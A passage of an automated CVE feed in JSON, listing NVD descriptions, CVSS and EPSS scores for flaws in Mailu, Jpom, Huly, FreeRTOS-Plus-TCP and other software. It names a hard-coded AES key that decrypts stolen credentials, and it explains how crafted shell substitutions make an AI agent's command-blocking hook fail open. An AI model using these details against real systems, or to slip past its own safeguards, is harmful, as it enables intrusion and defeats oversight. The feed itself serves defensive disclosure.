score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111612","cveId":"CVE-2026-111612","aliases":[],"kind":"vulnerability","title":"netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the...","summary":"netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the /v2/randomAuth endpoint in ParserApi. Attackers can repeatedly call the endpoint and decrypt the encryptedAuth blob using the hard-coded AES key nfd_auth_key2026 to recover other users' cloud-drive cookies, tokens, or passwords.","detail":"netdisk-fast-download through 0.4.8 contains an information disclosure vulnerability that allows unauthenticated attackers to retrieve donated netdisk credentials via the /v2/randomAuth endpoint in ParserApi. Attackers can repeatedly call the endpoint and decrypt the encryptedAuth blob using the hard-coded AES key nfd_auth_key2026 to recover other users' cloud-drive cookies, tokens, or passwords.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:40.533Z","updatedAt":"2026-10-16T20:17:20.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111612","asOf":"2026-10-16T20:17:20.597Z"},"epss":{"probability":0.00486,"percentile":0.41563,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111612","type":"primary","publishedAt":"2026-10-16T18:17:40.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111607","cveId":"CVE-2026-111607","aliases":[],"kind":"vulnerability","title":"Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment...","summary":"Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment channel configuration by supplying a victim infoId to MchPayInterfaceConfigController.saveOrUpdate. Attackers holding the default ENT_MCH_PAY_CONFIG_ADD permission can replace signing keys, certificates, and fee rates to break or redirect the victim merchant's payment processing.","detail":"Jeepay through 3.2.9 contains an insecure direct object reference vulnerability that allows authenticated merchant users to overwrite another merchant application's payment channel configuration by supplying a victim infoId to MchPayInterfaceConfigController.saveOrUpdate. Attackers holding the default ENT_MCH_PAY_CONFIG_ADD permission can replace signing keys, certificates, and fee rates to break or redirect the victim merchant's payment processing.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:39.813Z","updatedAt":"2026-10-16T20:17:20.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111607","asOf":"2026-10-16T20:17:20.483Z"},"epss":{"probability":0.00249,"percentile":0.16052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111607","type":"primary","publishedAt":"2026-10-16T18:17:39.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111606","cveId":"CVE-2026-111606","aliases":[],"kind":"vulnerability","title":"Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons...","summary":"Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons account RPC. Attackers knowing two person UUIDs can graft attacker-controlled unverified social ids onto a victim person, then use login or password recovery to take over the victim account.","detail":"Huly Platform through 0.7.432 contains a missing authorization vulnerability that allows any authenticated user to merge arbitrary persons by calling the mergeSpecifiedPersons account RPC. Attackers knowing two person UUIDs can graft attacker-controlled unverified social ids onto a victim person, then use login or password recovery to take over the victim account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:39.647Z","updatedAt":"2026-10-16T22:17:20.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111606","asOf":"2026-10-16T22:17:20.750Z"},"epss":{"probability":0.00238,"percentile":0.14756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111606&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111606","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111606","type":"primary","publishedAt":"2026-10-16T18:17:39.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111606&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111606, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111605","cveId":"CVE-2026-111605","aliases":[],"kind":"vulnerability","title":"Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other...","summary":"Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other workspaces by supplying foreign SSH asset ids. Attackers with SSH file permissions in any workspace can call download, upload, read_file_data.json, update_file_data.json, delete.json, rename.json and new_file_folder.json endpoints to read, modify and delete files on other workspaces' SSH hosts.","detail":"Jpom through 2.11.12 contains an authorization bypass vulnerability in SshFileController that allows authenticated workspace users to access SSH hosts belonging to other workspaces by supplying foreign SSH asset ids. Attackers with SSH file permissions in any workspace can call download, upload, read_file_data.json, update_file_data.json, delete.json, rename.json and new_file_folder.json endpoints to read, modify and delete files on other workspaces' SSH hosts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:39.490Z","updatedAt":"2026-10-19T13:16:55.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111605","asOf":"2026-10-19T13:16:55.677Z"},"epss":{"probability":0.00318,"percentile":0.2447,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111605&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111605","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111605","type":"primary","publishedAt":"2026-10-16T18:17:39.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111605&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111605, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102552","cveId":"CVE-2026-102552","aliases":[],"kind":"vulnerability","title":"Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen...","summary":"Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen address into the device's DNS cache via a forged DNS reply.\n\n\n\nTo remediate this issue, users should upgrade to version V4.4.2 and enable ipconfigDNS_CHECK_REPLY_SOURCE_IP.","detail":"Improper verification of the source of a communication channel in the DNS resolver in Amazon FreeRTOS-Plus-TCP before V4.4.2 might allow remote third-party to insert a chosen address into the device's DNS cache via a forged DNS reply.\n\n\n\nTo remediate this issue, users should upgrade to version V4.4.2 and enable ipconfigDNS_CHECK_REPLY_SOURCE_IP.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:14.893Z","updatedAt":"2026-10-19T13:16:53.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102552","asOf":"2026-10-19T13:16:53.503Z"},"epss":{"probability":0.00233,"percentile":0.141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102552&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102552","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102552","type":"primary","publishedAt":"2026-10-16T18:17:14.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102552&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102552, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86009","cveId":"CVE-2026-86009","aliases":[],"kind":"vulnerability","title":"Mailu is a mail server distributed as a set of Docker images.","summary":"Mailu is a mail server distributed as a set of Docker images. Prior to f05aeb8322e2f61096af6b089d61ba6f40587d96, domain managers can enable spoofing for hosted domains they do not control. A potentially malicious domain administrator enables spoofing for another hosted domain and can send emails that are authenticated with DKIM/SPF for domains they should not be able to. This vulnerability is addressed by f05aeb8322e2f61096af6b089d61ba6f40587d96.","detail":"Mailu is a mail server distributed as a set of Docker images. Prior to f05aeb8322e2f61096af6b089d61ba6f40587d96, domain managers can enable spoofing for hosted domains they do not control. A potentially malicious domain administrator enables spoofing for another hosted domain and can send emails that are authenticated with DKIM/SPF for domains they should not be able to. This vulnerability is addressed by f05aeb8322e2f61096af6b089d61ba6f40587d96.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:51.920Z","updatedAt":"2026-10-21T03:17:19.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86009","asOf":"2026-10-21T03:17:19.877Z"},"epss":{"probability":0.00378,"percentile":0.31459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86009","type":"primary","publishedAt":"2026-10-16T17:17:51.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86008","cveId":"CVE-2026-86008","aliases":[],"kind":"vulnerability","title":"Mailu is a mail server distributed as a set of Docker images.","summary":"Mailu is a mail server distributed as a set of Docker images. Prior to 8577c929b4ade04d3cd4210cf036601abd793556, a domain manager targeting an administrative account or another domain manager with greater privileges can reset passwords or obtain tokens for that account. This authorization failure allows a domain manager to take over a higher-privileged account and exercise that account's permissions. This vulnerability is addressed by commit 8577c929b4ade04d3cd4210cf036601abd793556.","detail":"Mailu is a mail server distributed as a set of Docker images. Prior to 8577c929b4ade04d3cd4210cf036601abd793556, a domain manager targeting an administrative account or another domain manager with greater privileges can reset passwords or obtain tokens for that account. This authorization failure allows a domain manager to take over a higher-privileged account and exercise that account's permissions. This vulnerability is addressed by commit 8577c929b4ade04d3cd4210cf036601abd793556.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:51.753Z","updatedAt":"2026-10-16T17:17:51.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86008","asOf":"2026-10-16T17:17:51.883Z"},"epss":{"probability":0.00314,"percentile":0.24039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86008","type":"primary","publishedAt":"2026-10-16T17:17:51.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77474","cveId":"CVE-2026-77474","aliases":[],"kind":"vulnerability","title":"destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them.","summary":"destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them. Prior to 0.6.6, nested or unclosed substitutions are recursively rescanned after an inner scan returns unterminated, producing exponential-time work. The affected scanners are reached through split_command_segments in src/packs/mod.rs. a destructive command followed by nested or unclosed $( or $(( sequences. nested or unclosed $( and $(( sequences cause repeated rescanning of the remaining command suffix. a hung PreToolUse hook fails open, allowing the destructive command to proceed. This issue is fixed in version 0.6.6.","detail":"destructive_command_guard (dcg) is a command-line safety tool that blocks destructive shell commands before AI coding agents run them. Prior to 0.6.6, nested or unclosed substitutions are recursively rescanned after an inner scan returns unterminated, producing exponential-time work. The affected scanners are reached through split_command_segments in src/packs/mod.rs. a destructive command followed by nested or unclosed $( or $(( sequences. nested or unclosed $( and $(( sequences cause repeated rescanning of the remaining command suffix. a hung PreToolUse hook fails open, allowing the destructive command to proceed. This issue is fixed in version 0.6.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:50.390Z","updatedAt":"2026-10-19T13:16:58.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77474","asOf":"2026-10-19T13:16:58.540Z"},"epss":{"probability":0.00124,"percentile":0.02129,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77474&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77474","type":"primary","publishedAt":"2026-10-16T17:17:50.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77474&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77474, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96424","cveId":"CVE-2026-96424","aliases":[],"kind":"vulnerability","title":"Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus","summary":"Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus","detail":"Incorrect DBus policy for lomiri-upload-manager (part of lomiri-download-manager) allows arbitrary user to read arbitrary file as root over DBus\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:22:52.560Z","updatedAt":"2026-10-18T14:16:57.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96424","asOf":"2026-10-18T14:16:57.160Z"},"epss":{"probability":0.00106,"percentile":0.01094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96424&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96424","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96424","type":"primary","publishedAt":"2026-10-16T16:22:52.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96424&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96424, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95859","cveId":"CVE-2026-95859","aliases":[],"kind":"vulnerability","title":"libp2p-rust is the official Rust language implementation of the libp2p networking stack.","summary":"libp2p-rust is the official Rust language implementation of the libp2p networking stack. Prior to 0.49.5, Gossipsub GRAFT control-message handling unconditionally adds attacker-supplied topic hashes to connected_peer.topics without confirming that the peer previously subscribed to those topics. A remote unauthenticated peer that can reach a Gossipsub listener can repeatedly send novel GRAFT topics, causing cumulative per-peer memory growth that is not bounded by subscription filters, peer scoring, or per-message size limits. This can exhaust process memory and cause a denial of service. This issue is fixed in version 0.49.5.","detail":"libp2p-rust is the official Rust language implementation of the libp2p networking stack. Prior to 0.49.5, Gossipsub GRAFT control-message handling unconditionally adds attacker-supplied topic hashes to connected_peer.topics without confirming that the peer previously subscribed to those topics. A remote unauthenticated peer that can reach a Gossipsub listener can repeatedly send novel GRAFT topics, causing cumulative per-peer memory growth that is not bounded by subscription filters, peer scoring, or per-message size limits. This can exhaust process memory and cause a denial of service. This issue is fixed in version 0.49.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:22:44.400Z","updatedAt":"2026-10-21T03:17:20.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95859","asOf":"2026-10-21T03:17:20.290Z"},"epss":{"probability":0.00291,"percentile":0.21502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95859","type":"primary","publishedAt":"2026-10-16T16:22:44.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95859, scored 2026-10-25. This is a model estimate, not proof of 